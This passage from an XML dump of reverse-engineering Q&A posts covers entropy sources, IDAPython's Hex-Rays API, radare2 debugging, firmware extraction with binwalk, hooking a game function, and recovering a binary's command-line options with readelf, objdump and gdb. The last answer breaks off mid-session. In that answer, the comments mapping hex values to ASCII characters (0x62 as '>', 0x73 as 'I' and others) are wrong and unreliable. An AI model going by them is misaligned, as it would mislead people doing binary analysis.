  <row Id="14461" PostTypeId="2" ParentId="14458" CreationDate="2017-01-20T10:34:50.873" Score="2" Body="&lt;p&gt;Generally speaking, yes, there are a lot of ways to generate entropy without system calls (this can be weak entropy, but anyway).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a small (but obviously not even close to pretend to be full) list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rdrand, rdseed instructions from intel random generator(btw, supported by AMD since 2015).&lt;/li&gt;&#xA;&lt;li&gt;rdtsc instruction - which gives you a tick count since power up&lt;/li&gt;&#xA;&lt;li&gt;uninitialized memory&lt;/li&gt;&#xA;&lt;li&gt;internal program addresses generated as a result of ASLR&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2017-01-20T10:43:15.577" LastActivityDate="2017-01-20T10:43:15.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14463" PostTypeId="1" CreationDate="2017-01-20T18:19:46.920" Score="0" ViewCount="343" Body="&lt;p&gt;I am trying to use &lt;a href=&quot;http://www.hexblog.com/?p=107&quot; rel=&quot;nofollow noreferrer&quot;&gt;HexRay's decompiler API&lt;/a&gt;, however having trouble due to its lack of documentation. Is there any means so That I can get to see the Python implementation of decompiler API?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2017-01-23T08:03:48.623" Title="How can I see the IDAPython implementation of HexRay's decompiler API?" Tags="|ida|idapython|hexrays|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14464" PostTypeId="1" CreationDate="2017-01-20T19:55:05.977" Score="1" ViewCount="627" Body="&lt;p&gt;I am using IDAPython for my analysis. In IDA v6.95, the header file &lt;code&gt;plugins/hexrays_sdk/include/hexrays.hpp&lt;/code&gt; defines the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef ctree_items_t parents_t;&#xA;&#xA;parents_t parents;      ///&amp;lt; Vector of parents of the current item&#xA;&#xA;/// Get parent of the current item as an expression&#xA;cexpr_t *parent_expr(void) { return (cexpr_t *)parents.back(); }&#xA;&#xA;// Get parent of the current item as a statement&#xA;cinsn_t *parent_insn(void) { return (cinsn_t *)parents.back(); }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my analysis, I am trying to walk up along the parents from a given &lt;code&gt;cexpr_t&lt;/code&gt; node. &lt;code&gt;parent_expr()&lt;/code&gt; and &lt;code&gt;parent_insn()&lt;/code&gt; API gives me back the immediate parent, not the entire chain from the child to root of the AST.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, I tried to traverse the &lt;code&gt;parents&lt;/code&gt; vector once I visit the given &lt;code&gt;cexpr_t&lt;/code&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for parent in reversed(self.parents):&#xA;  print &quot;|==&amp;gt; %s [%d]&quot; % (hex(parent.ea), parent.op)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, the &lt;code&gt;parent&lt;/code&gt; item thus returned is of type &lt;code&gt;citem_t&lt;/code&gt;. If I cast those to &lt;code&gt;cexpr_t&lt;/code&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;parent.__class__ = cexpr_t&#xA;print parent.x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and access any of its fields (e.g. &lt;code&gt;x&lt;/code&gt;) in the example above, it throws error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I traverse the AST nodes bottom-up yet retaining the correct types (&lt;code&gt;cexpr_t&lt;/code&gt; or &lt;code&gt;cinsn_t&lt;/code&gt;) of respective nodes? Is it possible to look into the code of &lt;code&gt;parent_expr()&lt;/code&gt; or &lt;code&gt;parent_insn()&lt;/code&gt; to see if how do those return correctly typed nodes from an &lt;code&gt;ctree_items_t&lt;/code&gt; type vector (i.e. &lt;code&gt;parents&lt;/code&gt;)? The code inside &lt;code&gt;python/ida_hexrays.py&lt;/code&gt; seems to be mere SWIG stub, the actual implementation seems to lie somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def parent_expr(self, *args):&#xA;    &quot;&quot;&quot;&#xA;    parent_expr(self) -&amp;gt; cexpr_t&#xA;    &quot;&quot;&quot;&#xA;    return _ida_hexrays.ctree_visitor_t_parent_expr(self, *args)&#xA;&#xA;def parent_insn(self, *args):&#xA;    &quot;&quot;&quot;&#xA;    parent_insn(self) -&amp;gt; cinsn_t&#xA;    &quot;&quot;&quot;&#xA;    return _ida_hexrays.ctree_visitor_t_parent_insn(self, *args)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The actual code seems to be distributed as a shared library located at &lt;code&gt;python/lib/python2.7/lib-dynload/[ida32|ida64]/_ida_hexrays.so&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="13634" LastEditDate="2017-01-20T20:03:15.947" LastActivityDate="2018-10-12T22:33:35.410" Title="How can I walk up along the AST using IDAPython decompiler API?" Tags="|ida|idapython|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14465" PostTypeId="1" CreationDate="2017-01-20T22:23:16.923" Score="3" ViewCount="1881" Body="&lt;p&gt;I have been playing around with radare2, and i am wondering something that seems almost obvious to me but after much googling down the rabbit hole i can not find out how to view the console output of the binary i am debugging.  For example, I can not see the output of my hello world program, i can only see the registers and disassembled instructions...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone have a clue what key sequence to press to view the console output of the binary i am debugging?&lt;/p&gt;&#xA;" OwnerUserId="18844" LastEditorUserId="1485" LastEditDate="2017-01-21T21:05:38.380" LastActivityDate="2017-01-30T22:23:53.460" Title="Radare2 console output?" Tags="|debugging|radare2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14467" PostTypeId="2" ParentId="14448" CreationDate="2017-01-21T04:39:52.287" Score="0" Body="&lt;p&gt;A while back i wrote this cheapo dependency tool. It's on my GitHub. &lt;a href=&quot;https://github.com/marshalcraft/CheapoDllDependencyTool?files=1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/marshalcraft/CheapoDllDependencyTool?files=1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15104" LastActivityDate="2017-01-21T04:39:52.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14468" PostTypeId="2" ParentId="12292" CreationDate="2017-01-21T07:13:15.337" Score="1" Body="&lt;p&gt;you have to use the latest &lt;code&gt;binwalk 2.1.1&lt;/code&gt;,&#xA;download the zip file from &lt;a href=&quot;https://github.com/devttys0/binwalk&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub&lt;/a&gt;, binwalk support extracting yaffs now but I don't advise using binwalk like that, just use &lt;code&gt;binwalk -e &amp;lt;img.bin&amp;gt;&lt;/code&gt; then scan the result files till you find your target yaffs image, then use &lt;a href=&quot;https://github.com/devttys0/yaffshiv&quot; rel=&quot;nofollow noreferrer&quot;&gt;yaffshiv&lt;/a&gt; to extract the image and don't forget to use the &lt;code&gt;-a&lt;/code&gt; parameter for yaffshiv to try to guess the config of the image, &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;yaffshiv -a -f &amp;lt;image file&amp;gt; -d &amp;lt;output directory&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm trying to repack the Huawei E5172 firmware but the router refuses to accept the modified firmware, I hope this helps anyway and if you have any other ideas for packing such firmware please let me know. &lt;/p&gt;&#xA;" OwnerUserId="18848" LastActivityDate="2017-01-21T07:13:15.337" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14469" PostTypeId="1" CreationDate="2017-01-21T15:43:34.033" Score="2" ViewCount="279" Body="&lt;p&gt;I'm using the vivisect library to parse functions within a binary, the documentation for vivisect is quite slim and I was wondering if there was a way to get information about the assembly instructions. Example of something I'm looking for is whether or not a branch instructions operand is an absolute address or if there is any relative displacement addressing being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does vivisect offer this or would I have to instead extract the bytes and process the assembly with something like capstone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all statically done also, Im not interested in dynamic or instrumentation solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="18850" LastActivityDate="2017-01-24T17:03:38.590" Title="vivisect parse assembly" Tags="|disassembly|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14471" PostTypeId="2" ParentId="14465" CreationDate="2017-01-21T21:05:07.653" Score="4" Body="&lt;p&gt;You can use &lt;code&gt;rarun2&lt;/code&gt; to manipulate the program's stdin, stdout, arguments, …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, by default, radare2 doesn't start in debugger mode, so your program won't run. If you want to debug it, you'll have to start radare2 in debugger mode, with the &lt;code&gt;-d&lt;/code&gt; flag, or reopen the binary in this mode with the &lt;code&gt;ood&lt;/code&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your program's output will be display as usual, on the console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 -d /usr/bin/uptime&#xA;Process with PID 25656 started...&#xA;= attach 25656 25656&#xA;bin.baddr 0x557d50ca7000&#xA;USING 557d50ca7000&#xA;Assuming filepath /usr/bin/uptime&#xA;asm.bits 64&#xA; -- Press 'C' in visual mode to toggle colors&#xA;[0x7f016bfd4ca0]&amp;gt; dc&#xA;Selecting and continuing: 25656&#xA; 22:02:48 up  4:26,  6 users,  load average: 0.18, 0.25, 0.29&#xA;PTRACE_EVENT_EXIT pid=25656, status=0x0&#xA;[0x7f016bab5b68]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1485" LastEditorUserId="1485" LastEditDate="2017-01-30T22:23:53.460" LastActivityDate="2017-01-30T22:23:53.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14472" PostTypeId="1" CreationDate="2017-01-21T23:37:21.177" Score="0" ViewCount="1166" Body="&lt;p&gt;I'm a beginner at this and I'm following tutorials but I am kind of stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a function that accesses all characters X position in game. I found this using Cheat Engine and here's how it looks:&lt;a href=&quot;https://i.stack.imgur.com/h5xio.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h5xio.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these addresses are X positions of characters in game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked up this function in IDA and the functions looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double __thiscall sub_427380(int this)&#xA;{&#xA;  return *(float *)(this + 80);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I managed to hook this function and read the values in C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;double hookedFunction(int i)&#xA;{&#xA;    float f = *(float *)(i + 80);&#xA;    return originalFunction(i);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works but when I try to read values from other offsets that I found using the &quot;Dissect Data/Structures&quot; function in Cheat Engine I'm stuck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the structure from one of the addresses I found in Cheat Engine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QyPt7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I subtract 80 from the address and I create a new data structure in Cheat Engine it looks like this: &lt;a href=&quot;https://i.stack.imgur.com/7mcuZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mcuZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here's where I need help. How do I read the string at offset 0040 and the 4 bytes at offset 003C in my hooked function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing stuff like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD d = *(DWORD *)(i + 0x3C);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But whatever I try I can't get the right values. &lt;/p&gt;&#xA;" OwnerUserId="18854" LastEditorUserId="2147" LastEditDate="2017-05-04T15:15:28.030" LastActivityDate="2017-05-04T15:15:28.030" Title="Question about reading addresses/offsets in C++ within a hooked function" Tags="|ida|c++|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14473" PostTypeId="2" ParentId="14209" CreationDate="2017-01-22T01:23:57.267" Score="18" Body="&lt;p&gt;It is possible to determine what command line arguments or options can be passed to a Linux executable. Of course, how this can be done will depend on the type and design of the program and on factors such as obfuscation, encryption, compression, etc.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Hardcoded Documentation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Linux executables designed to be easily usable by humans and whose behavior changes depending on what command line arguments they receive, such as &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;grep&lt;/code&gt; etc., are typically ELF binaries and have documentation of their usage hardcoded in the &lt;code&gt;.rodata&lt;/code&gt; section. This data can be examined using &lt;code&gt;readelf -x .rodata ELF_BINARY_NAME&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $ readelf -x .rodata /bin/ls | less&#xA;                               .&#xA;                         &amp;lt;lots of data&amp;gt;&#xA;                               .&#xA;  0x00413e90 20202d61 2c202d2d 616c6c20 20202020   -a, --all     &#xA;  0x00413ea0 20202020 20202020 20202020 20646f20              do &#xA;  0x00413eb0 6e6f7420 69676e6f 72652065 6e747269 not ignore entri&#xA;  0x00413ec0 65732073 74617274 696e6720 77697468 es starting with&#xA;  0x00413ed0 202e0a20 202d412c 202d2d61 6c6d6f73  ..  -A, --almos&#xA;  0x00413ee0 742d616c 6c202020 20202020 20202020 t-all           &#xA;  0x00413ef0 646f206e 6f74206c 69737420 696d706c do not list impl&#xA;  0x00413f00 69656420 2e20616e 64202e2e 0a202020 ied . and ...   &#xA;                               .&#xA;                        &amp;lt;even more data&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that even if there is no &lt;code&gt;man&lt;/code&gt; page for the program on your system, no &lt;code&gt;README&lt;/code&gt; files, and no source code, you can still look at how it is documented internally manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pertains specifically to the example provided in the question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is what happens when I try and run it with an argument/parameter:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;me@there:~$ ./theFile theOption -a&#xA;./theFile : option requires an argument -- 'a'&#xA;usage: theOption [parameters]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is happening in this example is that some command line option is passed to the executable and the executable then prints some strings about proper usage to STDOUT. The implication of this in the context of deducing valid command line arguments is that there are hardcoded strings in the executable that document proper usage that can be located using static analysis.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;No Hardcoded Documentation&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Part 1: Static Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can take advantage of program design considerations made when designing  Linux userspace applications that accept command line arguments to identify what arguments the program expects when analyzing the binary. For example, what mechanisms exist to parse &lt;em&gt;n&lt;/em&gt;-many command line arguments passed to the program when executing it? How is a program designed such that it can successfully determine what arguments are valid and what arguments are invalid? What if 1,000 arguments are passed? The design of programs that process command line arguments must reflect the fact that such input can be arbitrary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common design pattern employed in a Linux environment to address this is using a combination of the GNU C library function &lt;a href=&quot;https://www.gnu.org/software/libc/manual/html_node/Example-of-Getopt.html#Example-of-Getopt&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;getopt()&lt;/code&gt;&lt;/a&gt; and a &lt;code&gt;switch&lt;/code&gt; construct inside a loop. &lt;code&gt;getopt()&lt;/code&gt; parses the command-line arguments and the parsed argument is then evaluated by the &lt;code&gt;switch&lt;/code&gt; construct. This can be used as a heuristic when analyzing the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate this, we can analyze a &quot;mystery&quot; ELF binary that processes command line arguments.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file mystery_program &#xA;mystery_program: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=3286c11349d82c58257a14e4d174b9ec5f313714, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This program is dynamically linked, which means that even though it is stripped it still contains information about what libraries are linked and loaded at runtime and also what functions in these libraries the program uses. Since &lt;code&gt;getopt()&lt;/code&gt; is a &lt;code&gt;glibc&lt;/code&gt; (shared library or &lt;code&gt;.so*&lt;/code&gt;) function, if our dynamically-linked binary uses it then an entry in the &lt;code&gt;.dynsym&lt;/code&gt; section will include information about it. Entry 21 in the output of &lt;code&gt;readelf --dyn-syms mystery_program&lt;/code&gt; confirms that &lt;code&gt;getopt()&lt;/code&gt; is indeed used in the program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ readelf --dyn-syms mystery_program &#xA;&#xA;Symbol table '.dynsym' contains 79 entries:&#xA;   Num:    Value          Size Type    Bind   Vis      Ndx Name&#xA;     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __uflow@GLIBC_2.2.5 (2)&#xA;     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getenv@GLIBC_2.2.5 (2)&#xA;     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.2.5 (2)&#xA;     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND abort@GLIBC_2.2.5 (2)&#xA;     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __errno_location@GLIBC_2.2.5 (2)&#xA;     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strncmp@GLIBC_2.2.5 (2)&#xA;     7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _exit@GLIBC_2.2.5 (2)&#xA;     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.2.5 (2)&#xA;     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __fpending@GLIBC_2.2.5 (2)&#xA;    10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND iconv@GLIBC_2.2.5 (2)&#xA;    11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND iswcntrl@GLIBC_2.2.5 (2)&#xA;    12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND write@GLIBC_2.2.5 (2)&#xA;    13: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND textdomain@GLIBC_2.2.5 (2)&#xA;    14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fclose@GLIBC_2.2.5 (2)&#xA;    15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND bindtextdomain@GLIBC_2.2.5 (2)&#xA;    16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND stpcpy@GLIBC_2.2.5 (2)&#xA;    17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND dcgettext@GLIBC_2.2.5 (2)&#xA;    18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __ctype_get_mb_cur_max@GLIBC_2.2.5 (2)&#xA;    19: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strlen@GLIBC_2.2.5 (2)&#xA;    20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)&#xA;==&amp;gt; 21: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getopt_long@GLIBC_2.2.5 (2)&#xA;    22: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND mbrtowc@GLIBC_2.2.5 (2)&#xA;    23: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strchr@GLIBC_2.2.5 (2)&#xA;    24: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND strrchr@GLIBC_2.2.5 (2)&#xA;&amp;lt;output snipped&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The version of &lt;code&gt;getopt()&lt;/code&gt; being used in this program is &lt;code&gt;getopt_long()&lt;/code&gt;. To see in what context &lt;code&gt;getopt_long()&lt;/code&gt; is called, we can use &lt;code&gt;objdump&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -dj .text mystery_program | grep getopt -B10 -A25&#xA;  401aa6:   c6 84 24 80 00 00 00    movb   $0x0,0x80(%rsp)&#xA;  401aad:   00 &#xA;  401aae:   c6 84 24 84 00 00 00    movb   $0x0,0x84(%rsp)&#xA;  401ab5:   00 &#xA;  401ab6:   c6 44 24 57 00          movb   $0x0,0x57(%rsp)&#xA;  401abb:   8b 7c 24 58             mov    0x58(%rsp),%edi&#xA;  401abf:   45 31 c0                xor    %r8d,%r8d&#xA;  401ac2:   b9 00 90 40 00          mov    $0x409000,%ecx&#xA;  401ac7:   ba 23 8f 40 00          mov    $0x408f23,%edx&#xA;  401acc:   48 89 de                mov    %rbx,%rsi&#xA;  401acf:   e8 3c fc ff ff          callq  401710 &amp;lt;getopt_long@plt&amp;gt;          &amp;lt;===&#xA;  401ad4:   83 f8 ff                cmp    $0xffffffff,%eax&#xA;  401ad7:   0f 84 10 01 00 00       je     401bed &amp;lt;__sprintf_chk@plt+0x1bd&amp;gt;&#xA;  401add:   83 f8 62                cmp    $0x62,%eax&#xA;  401ae0:   0f 84 f3 00 00 00       je     401bd9 &amp;lt;__sprintf_chk@plt+0x1a9&amp;gt;&#xA;  401ae6:   7e 2c                   jle    401b14 &amp;lt;__sprintf_chk@plt+0xe4&amp;gt;&#xA;  401ae8:   83 f8 73                cmp    $0x73,%eax&#xA;  401aeb:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)&#xA;  401af0:   0f 84 d6 00 00 00       je     401bcc &amp;lt;__sprintf_chk@plt+0x19c&amp;gt;&#xA;  401af6:   7e 6a                   jle    401b62 &amp;lt;__sprintf_chk@plt+0x132&amp;gt;&#xA;  401af8:   83 f8 75                cmp    $0x75,%eax&#xA;  401afb:   0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)&#xA;  401b00:   74 b9                   je     401abb &amp;lt;__sprintf_chk@plt+0x8b&amp;gt;&#xA;  401b02:   7c 72                   jl     401b76 &amp;lt;__sprintf_chk@plt+0x146&amp;gt;&#xA;  401b04:   83 f8 76                cmp    $0x76,%eax&#xA;  401b07:   0f 85 d6 00 00 00       jne    401be3 &amp;lt;__sprintf_chk@plt+0x1b3&amp;gt;&#xA;  401b0d:   c6 44 24 53 01          movb   $0x1,0x53(%rsp)&#xA;  401b12:   eb a7                   jmp    401abb &amp;lt;__sprintf_chk@plt+0x8b&amp;gt;&#xA;  401b14:   83 f8 41                cmp    $0x41,%eax&#xA;  401b17:   74 34                   je     401b4d &amp;lt;__sprintf_chk@plt+0x11d&amp;gt;&#xA;  401b19:   7f 19                   jg     401b34 &amp;lt;__sprintf_chk@plt+0x104&amp;gt;&#xA;  401b1b:   3d 7d ff ff ff          cmp    $0xffffff7d,%eax&#xA;  401b20:   74 64                   je     401b86 &amp;lt;__sprintf_chk@plt+0x156&amp;gt;&#xA;  401b22:   3d 7e ff ff ff          cmp    $0xffffff7e,%eax&#xA;  401b27:   0f 85 b6 00 00 00       jne    401be3 &amp;lt;__sprintf_chk@plt+0x1b3&amp;gt;&#xA;  401b2d:   31 ff                   xor    %edi,%ed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The call to &lt;code&gt;getopt_long()&lt;/code&gt; at address &lt;code&gt;401acf&lt;/code&gt; is followed by disassembly of a jump table, indicative of the presence of a &lt;code&gt;switch&lt;/code&gt; sequence. The jump table is much longer but what is displayed here is enough to get the idea. If we look more closely at the jump table we see that hex values that look like ASCII codes are compared to %eax, which by convention holds the return value of &lt;code&gt;getopt_long()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  .&#xA;  .&#xA;  401add:   83 f8 62                cmp    $0x62,%eax       # 0x62 is '&amp;gt;'&#xA;  .&#xA;  .&#xA;  401ae8:   83 f8 73                cmp    $0x73,%eax       # 0x73 is 'I'&#xA;  .&#xA;  .  &#xA;  401af8:   83 f8 75                cmp    $0x75,%eax       # 0x75 is 'K'&#xA;  .&#xA;  .&#xA;  401b04:   83 f8 76                cmp    $0x76,%eax       # 0x76 is 'L'&#xA;  .&#xA;  .&#xA;  401b14:   83 f8 41                cmp    $0x41,%eax       # 0x41 is ')'&#xA;  .&#xA;  .&#xA;  401b34:   83 f8 45                cmp    $0x45,%eax       # 0x45 is '-'&#xA;  .&#xA;  .&#xA;  401b39:   83 f8 54                cmp    $0x54,%eax       # 0x54 is '6'&#xA;  .&#xA;  .&#xA;&amp;lt;more comparisons&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This program is parsing command line arguments and its execution path branches based on whatever ASCII characters it has specific conditionals for. While this is not going to immediately yield what arguments are valid and what arguments are not valid, it is a start. Static analysis with Linux binutils (and my limited knowledge and skills) can only get us so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Part 2: Dynamic Analysis&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two factors that are quite helpful in dynamically analyzing this &quot;mystery&quot; binary in order to determine what the valid command line arguments are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first is that even though this binary is stripped, &lt;code&gt;getopt_long()&lt;/code&gt; is in a shared library, and in order to be dynamically linked to the binary some symbol information about &lt;code&gt;getopt_long()&lt;/code&gt; must be preserved. This is why when &lt;code&gt;objdump&lt;/code&gt; was used to statically analyze some dissasembled code from this stripped binary &lt;code&gt;getopt_long()&lt;/code&gt; was still referred to by name. This means that we have the exact address in the binary where &lt;code&gt;getopt_long()&lt;/code&gt; is called, which allows us to set a break point at that address without having to rummage around in the binary for hours and hours. In other words, we do not need to know in what function &lt;code&gt;getopt_long()&lt;/code&gt; is called, whether in &lt;code&gt;main()&lt;/code&gt; or some other function; we can just let the program execute until the break point at that address is hit. As a quick reminder, &lt;code&gt;getopt_long()&lt;/code&gt; was called at address 401acf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ objdump -dj .text mystery_program | grep getopt&#xA;   401acf:  e8 3c fc ff ff          callq  401710 &amp;lt;getopt_long@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second is that a string composed of all valid command line options is passed to &lt;code&gt;getopt()&lt;/code&gt; when it is called, as we see in its function prototypes. From the synopsis in its &lt;a href=&quot;http://man7.org/linux/man-pages/man3/opterr.3.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;man&lt;/code&gt; page&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;unistd.h&amp;gt;&#xA;&#xA;int getopt(int argc, char * const argv[],&#xA;           const char *optstring);&#xA;&#xA;extern char *optarg;&#xA;extern int optind, opterr, optopt;&#xA;&#xA;#include &amp;lt;getopt.h&amp;gt;&#xA;&#xA;int getopt_long(int argc, char * const argv[],&#xA;                const char *optstring,&#xA;                const struct option *longopts, int *longindex);&#xA;&#xA;int getopt_long_only(int argc, char * const argv[],&#xA;                     const char *optstring,&#xA;                     const struct option *longopts, int *longindex);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of these three prototypes, the prototype for &lt;code&gt;getopt_long()&lt;/code&gt; is the one of interest in this particular case. According to the prototype, &lt;code&gt;getopt_long()&lt;/code&gt; is passed a pointer to the options string as well as a pointer to a struct holding long options. This means that both the single-character options as well as option strings can be discovered by investigating these pointers at the point in the program &lt;code&gt;getopt_long()&lt;/code&gt; is called. &lt;code&gt;gdb&lt;/code&gt; can be used to perform the analysis:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb -q mystery_program&#xA;Reading symbols from mystery_program...(no debugging symbols found)...done.&#xA;(gdb) break *0x401acf&#xA;Breakpoint 1 at 0x401acf&#xA;(gdb) run&#xA;Starting program: mystery_program &#xA;&#xA;Breakpoint 1, 0x0000000000401acf in ?? 